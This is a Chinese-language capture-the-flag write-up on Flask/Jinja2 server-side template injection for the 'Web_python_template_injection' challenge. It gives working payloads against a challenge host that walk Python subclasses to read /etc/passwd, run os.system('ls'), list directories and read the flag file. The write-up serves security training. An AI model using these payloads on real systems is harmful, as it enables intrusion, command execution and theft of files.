研究文章:https://www.freebuf.com/column/187845.html
https://blog.csdn.net/weixin_54515836/article/details/113778233
Flask 有两种渲染方法:render_template 和render_template_string。
render_template() 用于渲染指定的文件。像这样使用它
返回render_template(\’index.html\’)
render_template_string 用于渲染字符串。 SSTI 是该方法的一个组成部分。
如何使用它
html=\’h1这是索引页/h1\’
返回渲染模板字符串(html)
Flask金甲渲染引擎中的格式:
控制结构{% %}
变量值{{}}
评论{ }
执行基类
__class__ 返回该类型所属的对象(类)。
__mro__ 返回一个元组,其中包含对象继承的基类。方法在解析时按照元组顺序进行解析。
__base__ 返回该对象继承的基类。
//__base__ 和__mro__ 都用于查找基类
__subclasses__ 每个新类都保存对子类的引用。此方法返回类中仍然可用的引用列表。
__init__类初始化方法
__globals__ 对包含函数全局变量的字典的引用
如果输入公式1+2,您将看到执行该公式以证明ssti的存在。
通过Python对象继承逐步实现读取文件和执行命令。
想法:查找父类类型“对象” – 查找子类- 查找有关命令执行或文件操作的模块。
查找可用参考类的有效负载。
\’\’.__class__.__mro__[2].__subclasses__()
分析:\’\’.__class__.__mro__[2].__subclasses__()方法返回可用的类(classes),而不是对象(objects)。
具体来说,__class__ 是一个内置属性,指示对象所属的类。您可以通过调用__class__.__mro__ 来获取类的方法解析顺序(MRO)。这是一个元组,按照找到方法的顺序列出了对象所属的类及其父类。
在MRO中,索引为2的元素表示对象所属类的直接父类。对于大多数类,索引2 处的元素是对象类。这是因为大多数类直接或间接继承自对象类。
然后,您可以调用__subclasses__() 方法来获取包含该类的所有子类的列表。这些子类是可用于创建对象并调用其方法的类。
综上所述, \’\’.__class__.__mro__[2].__subclasses__() 方法返回可用的类(classes)。
你会发现一个\’file\’类型的类,你可以调用它的方法来读取文件
构造一个有效负载来读取/etc/passwd 文件
http://61.147.171.105:50215/{{\’\’.__class__.__mro__[2].__subclasses__()[40](\’/etc/passwd\’).read()}}
[40]是类型“file”所在的相对于0的位置。
可用的类中还有“site._Printer”类,可以调用其方法来执行命令(其他打印机也可以工作,因为它们包含操作系统模板)。
确保位置为71 并使用__init__ 魔术方法来初始化类。
构建有效负载
http://61.147.171.105:50215/{{\’\’.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__[\’os\’].system(\’ls\’)}}
如果系统过滤或者没有找到,则使用os listdir读取目录,使用file模块读取文件。
构建有效负载。 listdir函数中的点代表当前目录。
{{\’\’.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__[\’os\’].listdir(\’.\’)}}
查看标志文件名
使用os模块文件和load进行加载
有效负载:
http://61.147.171.105:50215/{{\’\’.__class__.__mro__[2].__subclasses__()[40](\’fl4g\’).read()}}
标志读取成功
#以上关于攻防世界的相关内容源码Web_python_template_injection(Flask模板注入)相关信息请参考官方公告。
原创文章,作者:CSDN,如若转载,请注明出处:https://www.sudun.com/ask/93362.html